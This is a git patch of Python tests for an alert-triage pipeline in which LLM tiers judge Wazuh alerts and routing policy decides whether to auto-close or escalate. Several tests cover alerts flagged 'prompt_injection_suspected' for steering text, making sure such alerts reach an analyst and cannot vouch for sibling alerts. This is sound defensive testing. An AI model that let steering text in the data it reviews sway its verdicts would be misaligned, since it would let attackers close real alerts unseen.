{**BENIGN_ANALYSIS, "rule_evidence": ["prior_malicious_history"]}}}), - ("(b) one of its own related alerts closed as malicious", - {"summary": {**BENIGN_SUMMARY, "correlation": {**ALONE, "related_dispositions": {"malicious": 1}}}}), - ("(c) the fast tier said benign at likelihood 40", - {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_likelihood": 40}}}), - ("(c) the deep tier said benign at certainty 60", - {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "certainty": 60}}}), - ("(d) it is still in flight without a deep verdict", - {"status": "processing", "summary": {"triage": BENIGN_TRIAGE}}), - ], -) -async def test_a_same_rule_alert_still_counts_against_closing_when( - why: str, repeat: Dict[str, Any], make_settings: Callable[..., Settings] -) -> None: - others = [stored(f"r{i}", "2902") for i in range(3)] + [stored("odd", "2902", **repeat)] - result = await correlate(make_settings(), others) - assert (result.related_count, result.related_rule_repeats) == (4, 3), why - assert decide(result).route == "escalate", why - - -async def test_an_incomplete_related_set_fails_closed(make_settings: Callable[..., Settings]) -> None: - """The query hit its limit (more related alerts may exist, a kill chain among them), or a related alert is - hidden while it waits for a blind-audit label: the counts cover only part of the set, so a close is blocked.""" - settings = make_settings() - full = await correlate(settings, [stored(f"r{i}", "2902") for i in range(5)], max_correlations=5) - assert (full.related_count, full.related_rule_repeats, full.related_complete) == (5, 5, False) - assert decide(full).route == "escalate" - hidden = await correlate(settings, [stored("r0", "2902"), stored("audit", "5402")], pending=("audit",)) - assert (hidden.related_count, hidden.related_rule_repeats, hidden.related_complete) == (1, 1, False) - assert decide(hidden).route == "escalate" - only_hidden = await correlate(settings, [stored("audit", "2902")], pending=("audit",)) - assert (only_hidden.related_count, only_hidden.related_complete) == (0, False) - assert decide(only_hidden).route == "escalate" - alone = await correlate(settings, []) - assert (alone.related_count, alone.related_complete) == (0, True) and decide(alone).code == MODEL_CLOSED - - -async def test_an_unknown_rule_on_either_side_is_never_a_repeat(make_settings: Callable[..., Settings]) -> None: - """No vendor rule id (another vendor, a canonical alert, a raw event the state cap dropped): fail closed.""" - settings = make_settings() - no_raw = stored("r0", "2902") - no_raw.raw = {} - renamed = stored("r1", "2902") - renamed.normalized = {**renamed.normalized, "rule_name": "New dpkg (Debian Package) installed."} - pushed = stored("r2", "2902") # a canonical push that copies a Wazuh document: not the Wazuh normalizer - pushed.normalized = {**pushed.normalized, "normalizer": "canonical"} - legacy = stored("r3", "2902") # stored before the format was recorded - legacy.normalized = {k: v for k, v in legacy.normalized.items() if k != "normalizer"} - result = await correlate(settings, [no_raw, renamed, pushed, legacy]) - assert (result.related_count, result.related_rule_repeats) == (4, 0) and decide(result).route == "escalate" - - agent = CorrelationAgent(settings=settings, config={"enable_llm_correlation": False}) - others = [stored("r0", "2902")] - repos = fake_repos(alerts=others, related=[Related("r0", 1, NOW)]) - this = {**wazuh("2902"), "raw": {"_omitted": "raw event too large for workflow state"}} - unknown = await agent.run(AgentContext("t1", "a1", settings, repos=repos), this, base_confidence=25, now=NOW) - assert unknown.related_rule_repeats == 0 - state = {"severity": "medium", "alert": this, "correlation": dict(unknown.digest())} - assert "campaign_in_progress" in model_close_blockers(state, tier=AUTO, max_likelihood=8, min_certainty=85) - - -async def test_the_new_counts_are_in_the_digest_but_never_in_the_correlation_prompt( - make_settings: Callable[..., Settings], -) -> None: - result = await correlate(make_settings(), [stored("r0", "2902")]) - digest = result.digest() - assert digest["related_rule_repeats"] == 1 and digest["related_complete"] is True - view = CorrelationAgent.alert_view(wazuh("2902")) - assert "raw" not in view and "related_rule_repeats" not in str(view) - - -async def test_a_sibling_closed_as_benign_is_a_quiet_repeat(make_settings: Callable[..., Settings]) -> None: - """An analyst (or approved evidence) who closed a sibling as benign looked at it: it counts as a repeat even when - its own model judgement would not have closed it. Closed as malicious, it is a recent true positive instead.""" - steering = {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "rule_tp": ["prompt_injection_suspected"]}} - looked_at = stored("r0", "2902", status="closed", disposition="benign", summary=steering) - result = await correlate(make_settings(), [looked_at, stored("r1", "2902")]) - assert (result.related_count, result.related_rule_repeats) == (2, 2) and decide(result).code == MODEL_CLOSED - bad = stored("r0", "2902", status="closed", disposition="malicious") - result = await correlate(make_settings(), [bad]) - assert result.related_rule_repeats == 1 and decide(result).route == "escalate" # recent true positive - - -async def test_review_m1_a_steering_msi_does_not_vouch_for_the_next(make_settings: Callable[..., Settings]) -> None: - """Review of #345 (M1a): MSI install #1 carries steering text and waits for an analyst; a clean MSI #2 on the same - host is not closed on the strength of #1 being the same rule.""" - steering = {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "rule_tp": ["prompt_injection_suspected"]}} - result = await correlate(make_settings(), [stored("msi1", "60612", summary=steering)], rule_id="60612") - assert (result.related_count, result.related_rule_repeats) == (1, 0) - assert decide(result, "60612").route == "escalate" - - - -# --------------------------------------------------------------------------- re-check of #345: campaign-block laundering - - -async def sibling_with_own_digest(settings: Settings, its_related: List[StoredAlert], **correlate_kwargs: Any) -> StoredAlert: - """S (rule 2902, both tiers benign) as stored after its own correlation over ``its_related``: the digest is the - one the real agent produced for it.""" - own = await correlate(settings, its_related, **correlate_kwargs) - return stored("S", "2902", summary={**BENIGN_SUMMARY, "correlation": dict(own.digest())}) - - -async def test_recheck_a_campaign_block_is_not_laundered_through_a_sibling( - make_settings: Callable[..., Settings], -) -> None: - """X (another rule, a possible kill-chain step) on host H at t0; S (2902) at t50 is blocked by X and waits for an - analyst; A (2902) at t70 sees S but no longer X (outside its 60-minute window). S's campaign block is not exempt: - its digest shows a related alert of another rule, so S is no quiet repeat and A goes to an analyst.""" - settings = make_settings() - s = await sibling_with_own_digest(settings, [stored("X", "5402")]) - assert s.summary["correlation"]["related_other_rules"] == 1 - a = await correlate(settings, [s]) - assert (a.related_count, a.related_rule_repeats, a.related_other_rules) == (1, 0, 0) - assert decide(a).route == "escalate" - - -@pytest.mark.parametrize( - ("why", "its_related", "kwargs"), - [ - ("a related alert a model judged suspicious", - [stored("T", "2902", summary={**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_assessment": "suspicious"}})], - {}), - ("an incomplete related set (query at its limit)", [stored(f"r{i}", "2902") for i in range(2)], - {"max_correlations": 2}), - ("a related alert hidden for a blind audit", [stored("r0", "2902"), stored("audit", "2902")], - {"pending": ("audit",)}), - ], -) -async def test_recheck_threat_and_incomplete_set_blocks_are_not_laundered_either( - why: str, its_related: List[StoredAlert], kwargs: Dict[str, Any], make_settings: Callable[..., Settings] -) -> None: - settings = make_settings() - s = await sibling_with_own_digest(settings, its_related, **kwargs) - a = await correlate(settings, [s]) - assert a.related_rule_repeats == 0, why - assert decide(a).route == "escalate", why - - -async def test_recheck_a_sibling_digest_without_the_new_count_is_not_quiet(make_settings: Callable[..., Settings]) -> None: - """Fail closed: a sibling blocked by its own campaign check, whose digest predates ``related_other_rules``.""" - old = {"related_count": 1, "related_rule_repeats": 0, "related_complete": True, "related_threats": 0, - "related_dispositions": {}} - a = await correlate(make_settings(), [stored("S", "2902", summary={**BENIGN_SUMMARY, "correlation": old})]) - assert a.related_rule_repeats == 0 and decide(a).route == "escalate" - - -async def test_recheck_a_burst_does_not_block_itself(make_settings: Callable[..., Settings]) -> None: - """Control: S was blocked only by a same-rule sibling no model had judged yet (in flight). Its digest shows no - threat, a complete set and no other rule, so its block clears and A, which sees only S, closes.""" - settings = make_settings() - s = await sibling_with_own_digest(settings, [stored("P", "2902", status="processing", summary={})]) - own = s.summary["correlation"] - assert (own["related_count"], own["related_rule_repeats"], own["related_other_rules"]) == (1, 0, 0) - a = await correlate(settings, [s]) - assert a.related_rule_repeats == 1 and decide(a).code == MODEL_CLOSED diff --git a/tests/unit/domain/test_closure.py b/tests/unit/domain/test_closure.py index a51efd11..e4387bd3 100644 --- a/tests/unit/domain/test_closure.py +++ b/tests/unit/domain/test_closure.py @@ -334,25 +334,12 @@ def test_a_scanner_or_test_source_never_closes_a_never_close_class(mitre: Dict[s @pytest.mark.parametrize( "correlation", [ - # FIX-1 digests (no repeat count, no completeness): unknown, so they fail closed whatever they say. {"related_count": 3, "burst": True, "related_threats": 0, "related_open_reviews": 0}, {"related_count": 3, "burst": False, "related_threats": 1, "related_open_reviews": 0}, {"related_count": 3, "burst": False, "related_threats": 0, "related_open_reviews": 2}, - {"related_count": 3, "burst": False, "related_threats": 0, "related_open_reviews": 0}, - {"related_count": 3, "burst": False}, + {"related_count": 3, "burst": False}, # counts unknown: fail closed + {"related_count": 3, "related_threats": 0, "related_open_reviews": 0}, # burst unknown {}, # nothing known about related alerts - # FIX-2 digests: anything but a complete set of quiet repeats of this rule. - {"related_count": 3, "related_rule_repeats": 2, "related_complete": True, "related_threats": 0}, - {"related_count": 3, "related_rule_repeats": 3, "related_complete": False, "related_threats": 0}, - {"related_count": 3, "related_rule_repeats": 3, "related_threats": 0}, # completeness unknown - {"related_count": 3, "related_rule_repeats": 3, "related_complete": "true", "related_threats": 0}, - {"related_count": 3, "related_rule_repeats": 3, "related_complete": True, "related_threats": 1}, - {"related_count": 3, "related_rule_repeats": 3, "related_complete": True}, # threats unknown - {"related_count": 3, "related_rule_repeats": None, "related_complete": True, "related_threats": 0}, - {"related_count": 3, "related_rule_repeats": 4, "related_complete": True, "related_threats": 0}, - {"related_count": -1, "related_rule_repeats": -1, "related_complete": True, "related_threats": 0}, - {"related_count": True, "related_rule_repeats": True, "related_complete": True, "related_threats": 0}, - {"related_count": 0, "related_complete": False}, # every related alert was hidden for a blind audit ], ) def test_a_campaign_in_progress_is_never_model_closed(correlation: Dict[str, Any]) -> None: @@ -361,13 +348,9 @@ def test_a_campaign_in_progress_is_never_model_closed(correlation: Dict[str, Any assert routing.decide(state, T, AUTO).route == "escalate" -def test_a_burst_of_the_same_rule_judged_benign_is_not_a_campaign() -> None: - """FIX-2: the same detection rule repeating, every repeat judged benign, over a complete related set, does not - block; the burst and open reviews (the repeats waiting for an analyst) no longer block on their own.""" - repeats = {"related_count": 9, "related_rule_repeats": 9, "related_complete": True, "related_threats": 0, - "burst": True, "frequency_level": "high", "related_open_reviews": 9, - "related_dispositions": {"undecided": 6, "ai_closed_unaudited": 3}} - assert routing.decide(benign_state(correlation=repeats), T, AUTO).code == MODEL_CLOSED - for alone in ({"related_count": 0, "related_dispositions": {}}, - {"related_count": 0, "related_complete": True, "related_dispositions": {}}): - assert routing.decide(benign_state(correlation=alone), T, AUTO).code == MODEL_CLOSED +def test_quiet_related_alerts_do_not_block_a_model_led_close() -> None: + quiet = {"related_count": 3, "burst": False, "related_threats": 0, "related_open_reviews": 0, + "related_dispositions": {"benign": 2, "undecided": 1}} + assert routing.decide(benign_state(correlation=quiet), T, AUTO).code == MODEL_CLOSED + ai_closed = {**quiet, "related_dispositions": {"ai_closed_unaudited": 3}} + assert routing.decide(benign_state(correlation=ai_closed), T, AUTO).code == MODEL_CLOSED diff --git a/tests/unit/domain/test_noise_families.py b/tests/unit/domain/test_noise_families.py index 44c651a8..7d672c5d 100644 --- a/tests/unit/domain/test_noise_families.py +++ b/tests/unit/domain/test_noise_families.py @@ -66,7 +66,7 @@ def wazuh_state(event: Dict[str, Any], **changes: Any) -> Dict[str, Any]: "alert": alert, "triage": {"confidence": 25, "rule_fp": [], "rule_tp": [], "llm_used": True, "threat_assessment": "benign", "threat_likelihood": 3}, - "correlation": {"related_count": 0, "related_complete": True, "related_dispositions": {}}, + "correlation": {"related_count": 0, "related_dispositions": {}}, "analysis": {"threat_score": 8, "certainty": 92, "verdict": "benign", "rule_threat_score": 40, "rule_evidence": [], "rule_corroborated": False, "llm_used": True}, } @@ -344,3 +344,25 @@ def test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes() -> None: assert routing.decide(state, T, AUTO).route == "escalate" # Another format without a raw rule stays as before: its ATT&CK mapping decides. assert never_close_class({**gone, "normalizer": "canonical"}) == UNMAPPED + + + +def test_final_a_cut_groups_list_never_closes() -> None: + """Final check of #345: with more groups than the state keeps, an authentication-failure group could sit past the + cut, so the alert is vendor_unknown (fail closed); one inside the cut still reads as credential access.""" + padding = {f"field{i}": "x" * 1_500 for i in range(30)} + many = [f"group{i}" for i in range(25)] + ["authentication_failed"] + oversized = state_alert({**wazuh_event("60122", "Logon Failure", groups=many, + mitre={"id": ["T1078"], "tactic": ["Initial Access"]}), "data": padding}) + assert oversized["raw"]["rule"]["groups_truncated"] is True + assert "authentication_failed" not in oversized["raw"]["rule"]["groups"] + assert never_close_class(oversized) == VENDOR_UNKNOWN + package = state_alert({**wazuh_event("2902", DPKG, groups=many[:25]), "data": padding}) + assert model_close_class(package) == VENDOR_UNKNOWN # the cut also blocks the catalogue lift + kept_whole = state_alert(wazuh_event("2902", DPKG, groups=[f"group{i}" for i in range(60)])) + assert kept_whole["raw"]["rule"]["groups_truncated"] is True and model_close_class(kept_whole) == VENDOR_UNKNOWN + early = state_alert({**wazuh_event("60122", "Logon Failure", groups=["authentication_failed"] + many, + mitre={"id": ["T1078"], "tactic": ["Initial Access"]}), "data": padding}) + assert never_close_class(early) == "credential_access" + few = state_alert({**wazuh_event("2902", DPKG), "data": padding}) + assert "groups_truncated" not in few["raw"]["rule"] and model_close_class(few) is None diff --git a/tests/unit/invariants/test_checks.py b/tests/unit/invariants/test_checks.py index 79041ac4..9422928c 100644 --- a/tests/unit/invariants/test_checks.py +++ b/tests/unit/invariants/test_checks.py @@ -88,7 +88,6 @@ def test_routing_policy(make_settings: Callable[..., Settings], monkeypatch: pyt "high alert closed on a benign verdict", "low alert closed on the models' verdict with model-led closure off", "credential access alert closed on the models' verdict", - "alert closed on the models' verdict next to a different detection on its entities", "low alert closed on benign evidence despite rule evidence of a threat", ] @@ -222,12 +221,6 @@ def test_the_synthetic_routing_states_are_ones_the_policy_would_otherwise_close( assert decide(checks._benign_state("low", evidence=False), t, "auto_full_audit").code == "model_closed" credential = checks._benign_state("low", evidence=False, tactic="Credential Access") assert decide(credential, t, "auto_full_audit").code == "false_positive_review" - repeats = checks._benign_state("low", evidence=False) - repeats["correlation"] = {"related_count": 1, "related_rule_repeats": 1, "related_complete": True, - "related_threats": 0, "related_dispositions": {"benign": 1}} - assert decide(repeats, t, "auto_full_audit").code == "model_closed" # the same rule repeating closes - repeats["correlation"]["related_rule_repeats"] = 0 - assert decide(repeats, t, "auto_full_audit").code == "false_positive_review" corroborated = checks._benign_state("low") corroborated["analysis"].update(rule_corroborated=True) assert decide(corroborated, t).code == "false_positive_review" From 1f1ed3f931fd26a9cb74843b6455e0f07ba965c1 Mon Sep 17 00:00:00 2001 From: Ahmed Ghazouani Date: Mon, 9 Nov 2026 20:46:34 +0100 Subject: [PATCH 5/5] Oracle replay: the benign-closure floor follows the new never-close classes Wazuh authentication-failure rules outside credential access by ATT&CK are a never-close class since FIX-2, so they get no verdict key: the oracle closes 4 benign corpus_v1 alerts instead of 9, still no attack. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01JmdYVXkgpNHoygVJCrUeZc --- tests/integration/eval/test_oracle_corpus_v1.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/tests/integration/eval/test_oracle_corpus_v1.py b/tests/integration/eval/test_oracle_corpus_v1.py index 94742370..995dbae0 100644 --- a/tests/integration/eval/test_oracle_corpus_v1.py +++ b/tests/integration/eval/test_oracle_corpus_v1.py @@ -48,4 +48,6 @@ async def test_the_oracle_closes_no_attack_on_corpus_v1(eval_settings: Settings, closed = {r.item_id for r in run.results if r.auto_closed} assert not closed & COLLISIONS # The learning still pays: analysts' repeated benign decisions close benign repeats. - assert summary["headline"]["benign_closure"]["k"] > 8 + # 4 since FIX-2 (9 before): Wazuh authentication-failure rules outside credential access by ATT&CK (logon + # failures mapped to T1531, the auth-failure rule groups) are a never-close class now, so they get no verdict key. + assert summary["headline"]["benign_closure"]["k"] >= 4